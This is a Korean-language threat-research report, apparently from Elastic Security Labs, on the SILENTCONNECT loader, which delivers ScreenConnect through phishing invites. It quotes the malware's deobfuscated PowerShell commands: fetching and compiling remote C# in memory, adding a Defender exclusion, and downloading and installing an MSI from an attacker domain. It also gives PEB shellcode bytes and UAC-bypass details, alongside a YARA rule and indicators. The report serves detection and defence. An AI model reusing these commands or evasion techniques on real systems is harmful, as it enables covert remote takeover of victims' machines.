Daniel StepanicSalim Bitam

초대부터 감염까지: 사일런트커넥트가 스크린커넥트를 제공하는 방법

SILENTCONNECT는 VBScript, 인메모리 PowerShell 실행, PEB 마스킹을 활용하여 ScreenConnect RMM 도구를 조용히 배포하는 다단계 로더입니다.

From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect

서문

Elastic Security Labs에서는 이전에 문서화되지 않은 로더와 관련된 다단계 감염을 제공하는 악성 캠페인을 관찰하고 있습니다. 감염은 사용자가 디지털 초대를 가장한 Cloudflare 턴타일 캡차 페이지로 이동하면서 시작됩니다. 링크를 클릭하면 VBScript 파일이 컴퓨터에 다운로드됩니다. 실행 시 스크립트는 C# 소스 코드를 검색한 다음 PowerShell을 사용하여 메모리에서 컴파일 및 실행합니다. 이 캠페인에서 관찰된 최종 페이로드는 피해 컴퓨터를 제어하는 데 사용되는 원격 모니터링 및 관리(RMM) 도구인 ScreenConnect입니다.

이 캠페인은 공격자들이 실행을 용이하게 하기 위해LOLBins( Living-off-the-Land 바이너리)를 악용하고, Google 드라이브 및 Cloudflare와 같은 신뢰할 수 있는 호스팅 제공업체를 사용한다는 공통된 주제를 강조합니다. 로더는 작고 간단하지만 매우 효과적인 것으로 보이며 2025년 3월부터 레이더망에 포착되지 않고 있습니다.

핵심 사항

  • 야생에서 활발하게 사용되고 있는 새로 발견된 로더, SILENTCONNECT
  • 이 로더는 ConnectWise ScreenConnect를 조용히 설치하여 피해 컴퓨터에 직접 키보드 액세스를 가능하게 합니다.
  • SILENTCONNECT를 배포하는 캠페인은 Cloudflare 및 Google 드라이브의 호스팅 인프라를 사용합니다.
  • SILENTCONNECT는 NT API 호출, PEB 마스킹을 사용하며 Windows Defender 제외 및 UAC(사용자 계정 컨트롤) 우회 기능을 포함합니다.

사일런트커넥트 감염 체인

3월 첫째 주에 저희 팀은 단기간에 걸쳐 여러 행동 경고를 생성하는 생활형 감염을 관찰했습니다.

초기 VBScript 다운로드는 인터넷에서 다운로드한 의심스러운 Windows 스크립트 규칙을 트리거하여 관련 file.origin_urlfile.origin_referrer_url 필드를 사용하여 감염 소스로 피벗할 수 있게 했습니다.

원래 랜딩 페이지로 이동한 결과, Cloudflare 턴타일 캡차 페이지를 확인할 수 있었습니다. 사람 확인 확인란을 클릭하면 VBScript 파일(E-INVITE.vbs)이 컴퓨터로 다운로드됩니다.

아래는 랜딩 페이지의 소스 코드이며, VBScript 파일(E-INVITE.vbs)이 Cloudflare의 객체 스토리지 서비스( r2.dev.

아래는 지난 한 달 동안 이러한 캠페인과 관련하여 관찰된 다른 VBScript 파일명입니다:

  • Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs
  • CODE7_ZOOMCALANDER_INSTALLER_4740.vbs
  • 2025Trans.vbs
  • Proposal-03-2026.vbs
  • 2025Trans.vbs
  • updatv35.vbs

어린이 동화를 미끼로 삼아 최소한의 난독화를 적용하고 Replace()Chr() 함수를 사용하여 다음 단계를 숨깁니다.

이 스크립트는 다음 명령줄 출력으로 난독화를 해제합니다:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""

이 코드조각은 PowerShell을 사용하여 curl.exe 을 호출하여 Google 드라이브에서 C# 페이로드를 다운로드한 다음 파일 이름(C:\Windows\Temp\FileR.txt)을 사용하여 디스크에 기록합니다.

검색된 C# 소스 코드는 상수 전개라는 난독화 기술을 사용하여 반사적 인메모리 실행에 사용되는 바이트 배열을 숨깁니다.

마지막으로 PowerShell 명령은 다운로드한 C# 소스(FileR.txt)를 Add-Type 을 사용하여 런타임에 컴파일하고 .NET 어셈블리로 메모리에 로드한 후 [HelloWorld]::SayHello() 메서드를 통해 실행합니다.

SILENTCONNECT

다음 섹션에서는 SILENTCONNECT라고 부르는 .NET 로더 제품군에 대해 설명합니다. 이 샘플은 비교적 작고 간단하며, 주로 원격 페이로드(ScreenConnect)를 다운로드하여 시스템에 조용히 설치하도록 설계되었습니다.

악성 코드는 15 초 동안 절전 모드로 전환한 후 NtAllocateVirtualMemory 을 통해 기본 Windows API 함수를 사용하여 실행 가능한 메모리를 할당하고 PAGE_EXECUTE_READWRITE 권한을 할당합니다. SILENTCONNECT는 다음 셸코드가 포함된 임베디드 바이트 배열을 저장합니다:

53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret

이 작은 셸코드는 Marshal.Copy 을 사용하여 최근에 할당된 메모리로 이동합니다. 다음으로, 멀웨어는 프로세스 환경 블록(PEB)의 주소를 검색하기 위해 셸코드를 실행합니다. 이 접근 방식을 사용하면 멀웨어가 프로세스 구조에 직접 액세스하면서 보안 제품에서 일반적으로 모니터링하거나 후킹하는 상위 수준의 Windows API를 피할 수 있습니다.

SILENTCONNECT는 델리게이트 설정 단계에서 ntdll.dll (네이티브 API) 및 ole32.dll (COM API)의 NTAPI를 사용하여 악성코드가 NtWriteVirtualMemory 또는 CoGetObject 와 같은 기능을.NET 에서 직접 호출할 수 있도록 합니다.

PEB 마스킹

SILENTCONNECT는 PEB 마스킹으로 알려진 일반적인 멀웨어 회피 기법을 구현합니다. 모든 Windows 프로세스에는 PEB( 프로세스 환경 블록 )로 알려진 커널 유지 관리 구조가 포함되어 있습니다. 이 구조에는 로드된 모듈의 링크된 목록이 포함되어 있습니다. 각 링크된 목록에는 모듈의 기본 주소, DLL 이름 및 전체 경로가 포함된 항목이 있습니다. SILENTCONNECT는 이 구조를 통해 자체 모듈을 찾은 다음 BaseDLLNameFullDllNamewinhlp32.exec:\windows\winhlp32.exe 로 덮어씁니다.

EDR을 포함한 많은 보안 도구는 의심스러운 활동을 탐지하기 위해 신뢰할 수 있는 소스로 PEB를 사용합니다. 이 기법은 정상적인 이름과 경로를 사용하여 자신을 숨기는 방식으로 이러한 제품을 속일 수 있습니다.

페이로드를 실행하기 전에 악성 코드는 모니커 문자열이 반전된 LaunchElevatedCOMObjectUnsafe 함수를 사용하여 UAC 우회를 구현합니다: :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:

멀웨어가 상승되지 않은 상태인 경우, CMSTPLUA COM 인터페이스를 통해 UAC 우회 기술을 사용하려고 시도합니다. 실행 매개변수는 간단한 난독화 기법으로 역순으로 문자 배열에 저장됩니다.

이 난독화된 명령의 첫 번째 부분은 .exe 파일에 대한 Microsoft Defender 제외를 추가합니다.

$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure) 
-ExclusionExtension $s -Force;

다음은 예외를 추가한 Defender에서 이 명령을 실행한 결과입니다:

제외를 추가한 후 SILENTCONNECT는 임시 디렉토리(C:\Temp)를 생성하고 curl.exe 을 사용하여 악성 ScreenConnect 클라이언트 설치 프로그램을 다운로드합니다. 그런 다음 msiexec.exe 을 호출하여 RMM을 자동으로 설치합니다. 아래는 명령줄의 후반부입니다:

New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"

설치 후 ScreenConnect 클라이언트는 Windows 서비스로 유지되며 TCP 포트 8041 를 통해 공격자가 제어하는 ScreenConnect 서버( bumptobabeco[.]top )에 비콘을 보냅니다.

사일런트커넥트 캠페인

이러한 캠페인의 주요 초기 접근 경로는 피싱 이메일에서 시작됩니다. 작년 캠페인에서 VirusTotal에 업로드된 이메일 샘플(YOU ARE INVITED.eml)을 확인했습니다.

이 이메일은 dan@checkfirst[.]net[.]au 에서 발송되었으며 가짜 회사의 프로젝트 제안서 초대장을 사칭합니다. 이메일 본문은 수신자가 링크를 클릭하여 제안서를 제출하도록 초대합니다. 이 링크는 피해자를 공격자가 제어하는 인프라로 리디렉션합니다 imansport[.]ir/download_invitee.php.

특히, 위협 행위자는 감염된 모든 웹사이트에서 동일한 URI 경로(download_invitee.php)를 재사용하여 페이로드를 전달했습니다. 이러한 일관된 이름 지정 관행은 캠페인의 인프라를 추적하고 VirusTotal 검색을 통해 entity:url url:download_invitee.php 과 같은 감염된 호스트를 추가로 식별하는 데 신뢰할 수 있는 구심점을 제공한다는 점에서 운영 보안(OPSEC) 관행이 좋지 않음을 나타냅니다.

또한 침해된 다양한 합법적인 웹사이트가 동일한 인프라를 사용하여 다른 사기 사기를 조장하는 것을 발견했습니다. 예를 들어, 한 URL(solpru[.]com/process/docusign[.]html)은 DocuSign 전자 서명 플랫폼을 매우 유사하게 모방한 페이지를 호스팅합니다.


가짜 다큐사인 포털

이 체인은 액터의 서버(instance-lh1907-relay.screenconnect[.]com)에 자동으로 연결되는 사전 구성된 ScreenConnect MSI를 다운로드하여 SILENTCONNECT를 완전히 점프합니다.

다른 도메인의 다른 페이지가 Microsoft Teams 페이지로 가장하여 사용자에게 파일 다운로드를 요청하여 Syncro RMM 에이전트를 악용합니다.

결론

Elastic Security Labs는 위협 행위자들의 RMM 채택이 계속 증가하고 있음을 확인했습니다. 이러한 도구는 합법적인 IT 부서에서 사용하기 때문에 대부분의 기업 환경에서는 일반적으로 간과되고 '신뢰할 수 있는' 도구로 간주됩니다. 조직은 경계를 늦추지 말고 무단 RMM 사용이 있는지 환경을 감사해야 합니다.

이 특정 그룹은 사용자 지정 로더를 작성하여 한 걸음 더 나아갔지만, 감염 체인의 대부분은 탐지를 피하고 정상적인 시스템 활동과 섞이기 위해 Windows 바이너리를 활용합니다. 페이로드 호스팅 및 미끼 전송을 위해 Google 드라이브 및 Cloudflare와 같은 신뢰할 수 있는 플랫폼을 악용하면 네트워크 기반 제어가 이러한 서비스에 대한 트래픽을 완전히 차단할 가능성이 낮기 때문에 탐지가 더욱 복잡해집니다. 위협 공격자들이 정교함보다 단순함과 은밀함을 선호함에 따라 이러한 유형의 캠페인은 지속되고 진화할 가능성이 높습니다.

SILENTCONNECT 및 MITRE ATT&CK

Elastic은 MITRE ATT& CK 프레임워크를 사용하여 지능형 지속적 위협이 기업 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화합니다.

전술

전술은 기술 또는 하위 기술의 이유를 나타냅니다. 이는 적의 전술적 목표, 즉 행동을 수행하는 이유입니다.

기술

기술은 공격자가 행동을 수행하여 전술적 목표를 달성하는 방법을 나타냅니다.

사일런트 연결 감지하기

YARA

Elastic Security는 이 활동을 식별하기 위해 다음과 같은 YARA 규칙을 만들었습니다:

rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}

관찰

이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다.

관측 가능합니다.유형이름참조
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3SHA-256E-INVITE.vbsVBScript
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37SHA-2562025Trans.vbsVBScript
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03SHA-256FileR.txtC#
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7SHA-256ScreenConnect.ClientSetup.msi스크린커넥트 설치 프로그램
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557dbSHA-256SILENTCONNECT
86.38.225[.]59IPv4-addrScreenConnect C2 서버
bumptobabeco[.]top도메인ScreenConnect C2 서버
instance-lh1907-relay.screenconnect[.]com도메인ScreenConnect C2 서버
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcecSHA-256ViewDocs.exe동기화 설치 관리자

이 문서 공유하기